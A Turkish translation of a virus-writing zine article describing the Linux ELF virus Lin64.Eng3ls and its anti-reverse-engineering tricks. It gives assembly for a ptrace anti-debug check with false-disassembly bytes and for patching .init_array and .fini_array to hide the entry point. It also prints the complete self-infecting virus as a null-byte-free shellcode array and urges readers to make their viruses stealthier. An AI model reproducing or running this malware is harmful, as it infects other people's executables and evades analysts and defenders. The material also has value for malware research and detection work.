┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ │ █ │ └───────────────────█ ──┘ Lin64.Eng3ls: Linux virüsündeki bazı tersine mühendislik karşıtı teknikler ~ S01den & sblip [ Çeviri @batcain tarafından yapılmıştır ] S01den tarafından sevgilerle. mail: S01den@protonmail.com --- Giriş --- sblip ile özel bir etinlik için bütün bir haftasonu Lin64.Eng3ls üzerinde çalıştık. Eng3ls, Lin64.Kropotkine[0]'i temel alır ve enfeksiyon yöntemi hala geçerli olan PT_NOTE -> PT_LOAD segmentidir ama ek olarak gizlenme/karmaşıklaştırma teknikleri ekledik. Aslında bakarsanız Kropotkin hiç de gizli değildir, enfekte edilmiş çalıştırılabilir dosyaların giriş noktası doğrudan virüsü işaret edecek şekilde değişmektedir ve bulaşıcı kod analize tamamen açıktır. Bu sorunları çözebilmek adına virüsün gövdesi için bir oligomorfik xor decryptor/encryptor yaptık ve bu şifreleyici için anahtarlar her yeni çalıştırabilir dosyada değişmekte. Bu değişiklik yeni oluşturulan kodun diğerlerinden farklı olmasını sağlıyor. Ancak bu "Poor Man's Polimorphism" tekniği büyük bir dezavantaja sahip; decryptor kodu asla değişmiyor. Bu da demek oluyor ki; bir tersine mühendis kara büyülere başvurmadan virüsün nasıl şifrelendiğini ve ne yaptığını anlaması çok fazla vakit almayacaktır. Bu tür nedenlerden dolayı, decryptor'u gizleyebilmek için ilk kez virüslerimde "polymorphic false-disassembly" tekniğini ilk kez uyguladım. Nasıl çalıştığını ve sonuçları görmek için bu teknik hakkındaki yazdığım makaleye göz atın! (Zin sayfasını çevirmek yeterli olacak) Bunların dışında bir problem daha kaldı, enfekte edilmiş çalıştırabilir dosyanın giriş noktası hala direkt olarak virüsü işaret ediyor. Bu pek de gizli sayılmıyor! Bakalım bunu nasıl çözmüşüz.... --- ELF için Giriş Noktası Gizleme Tekniği --- /!\ Bu teknik PIE çalıştırabilir dosyalarda geçerli değildir. /!\ Giriş noktası gizleme, bir virüsün ilk instruction adresini gizleme eylemidir. EPO olmayan virüslerde, virüslü bir programın giriş noktası, virüsün başlangıcına işaret edecek şekilde değiştirilirken, EPO içeren virüslerde, virüs ister ana programın kodunda bir "jump" gizleyerek veya buradaki örnek gibi çalıştırabilir dosya biçeminin özelliğini kötüye kullanarak yapar. ELF'lerin giriş noktası, aslında program çalıştırıldığında ilk çağrılan ve çalıştırılan adres değildir. "main()" fonksiyonunu çağıran bazı glibc başlatma rutinleri bulunmaktadır. Nasıl çalıştığını detaylıca açıklamayacağım, zaten bunun hakkında harika bir makale[1] bulunmakta. Sadece .init_array (construction pointer'ı içerir) ve .fini_array(destructor pointer'ı içerir) bölümlerini gaspedeceğimizi unutmayın. .init_array'in içerisinde bulunan adres giriş noktasından önce yürütülür, yani bu tam sahip olmak istediğimiz türden bir şey demek! Bunları yapmadan önce anti-ayıklama tekniği uygulamak istiyorum. Mevcut işlemin izlenip izlenmediğini (debug veya strace yöntemleri) anlamak üzere bir ptrace kontrolü. Klasik "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);" tekniğinden bahsediyorum. Evet geçmesi acayip kolay (Patchlemek veya gdb'de rax register'ına sıfır atamak ile atlatılabilinir) ama yine de farkedilmesini "zorlaştırdım(!)". ------------------------- BURADAN KESİN -------------------------------------------------- check_dbg: push rbp mov rbp, rsp jmp jmp_over4+2 jmp_over4: db `\x41\xba` ; false-disassembly tekniği mov rax, 101 ; sys_ptrace xor rdi, rdi ; PTRACE_TRACEME xor rsi, rsi xor r10, r10 xor rdx, rdx inc rdx jmp jmp_over6+2 jmp_over6: db `\xe9\x94` ; false-disassembly tekniği syscall jmp jmp_over5+2 jmp_over5: db `\x49\x81` ; false-disassembly tekniği cmp rax, 0 jge continue mov rax, 60 xor rdi, rdi syscall continue: pop rbp ret ------------------------------------------------------------------------------------- Rutinde bazı false-disassembly baytları yazdım ve her yeni enfeksiyonda değişmekte. Daha önce de bahsettiğim gibi bu kod parçacığı main() fonksiyonundan önce çalışacak. (.init_array'ı kötüye kullanarak) Tabi eğer ayıklanıyorsa virüs çalıştırmayı kesecek. (giriş noktasında bir breakpoint olsa dahi). .fini_array'i kötüye kullanarak virüsün çağrılmasını sağladım. İşte .init_array ve .fini_array bölümlerini patch'lemek adına, bölüm başlık tablosunu ayrıştırarak yaptığım arama için yazdığım rutinler; ------------------------- BURADAN KESİN -------------------------------------------------- parse_shdr: xor rcx, rcx xor rdx, rdx mov cx, word [rax+e_hdr.shnum] ; rcx = program başlık tablosundaki(header table) girişlerin sayısı mov rbx, qword [rax+e_hdr.shoff] ; rbx = program başlık tablosunun offset'i mov dx, word [rax+e_hdr.shentsize] ; rdx = program başlık tablosu girişinin boyutu loop_shdr: add rbx, rdx dec rcx cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, hata ayıklama ; kontrolünü koymak için değiştirmek ; istediğimiz bölüm (.init_array) je ctor_found cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, EPO(.fini_array) ; olarak değiştirmek istediğimiz bölüm je dtor_found cmp rcx, 0 jg loop_shdr dtor_found: mov rdi, qword [rax+rbx+e_shdr.offset] mov [rax+rdi], r9 ; r9 dönüştürülen segmentin adresini tutmakta, ; yani virüsü yazdığımız alan jmp write_vx ctor_found: mov rdi, qword [rax+rbx+e_shdr.offset] add r9, 0x86 ; r9+0x86 = check_dbg'nin başladığı adres mov [rax+rdi], r9 sub r9, 0x86 jmp loop_shdr ------------------------------------------------------------------------------------- --- Sonuç --- Giriş noktası değişikliği yetersiz, bunun yerine .init_array veya .fini_array gaspetme gibi gizleme yöntemlerini kullanın. Virüslerinizi ışıklı mışıklı yapmak için bazı komik tersine mühendislik karşıtı şeyler ekleyin. Burama bir tutam şifreleme..... Şurama birazcık debugger tespiti......... Umarım bu makaleyi beğenmişsinizdir ve bir şeyler öğrenmişsinizdir. Daha ileri gitmek istiyorsanız, eng3ls'in kullandığı aynı tersine mühendislik karşıtı teknikler içeren bir crack-me yazdım. Buradan erişebilirsiniz: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea --- Bonus --- Bu virüsün null-byte içermeyen ve PIE olan \o/ bir versiyonunu yazdım. O da şöyle; unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d" "\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde" "\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48" "\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81" "\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde" "\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58" "\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c" "\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02" "\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2" "\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0" "\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54" "\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b" "\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd" "\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51" "\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f" "\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c" "\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10" "\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55" "\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56" "\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68" "\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51" "\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54" "\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54" "\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54" "\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50" "\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c" "\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65" "\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62" "\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54" "\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54" "\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55" "\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57" "\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e" "\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d" "\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c" "\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54" "\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54" "\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b" "\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c" "\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54" "\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48" "\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5" "\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92" "\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54" "\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec" "\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c" "\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51" "\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50" "\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54"; Aptal olma, sakın bu boku vahşi doğaya salayım deme. Bununla yaptığın şeylerden asla biz sorumlu değiliz. --> null-byte içermeyen shellcode yazmak için iki teknik: 1) "mov" instruction'unu "push" ile değiştir. Örnek: b809000000 mov eax, 9 ----> 6a09 push 0x9 58 pop rax 2) add/sub tekniği: Bazen bazı register'lara yüklediğiniz değerler null-byte içerir. Çöp değerler ekleyip çıkararak bu null-byte'lardan kurtulabilirsin. Örnek: 4881c4890300 add rsp, 0x389 ----> 4881c4e8c311 add rsp, 0x1111c3e8 ^ // 0x1111c3e8 = 0x389 + 0x1111c0de 4881ecdec011 sub rsp, 0x1111c0de --- Notlar ve Referanslar --- [0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.Kropotkine.asm [1] Abusing .CTORS and .DTORS for fun 'n profit https://www.exploit-db.com/papers/13234 --- Source --- - Linux.Eng3ls.asm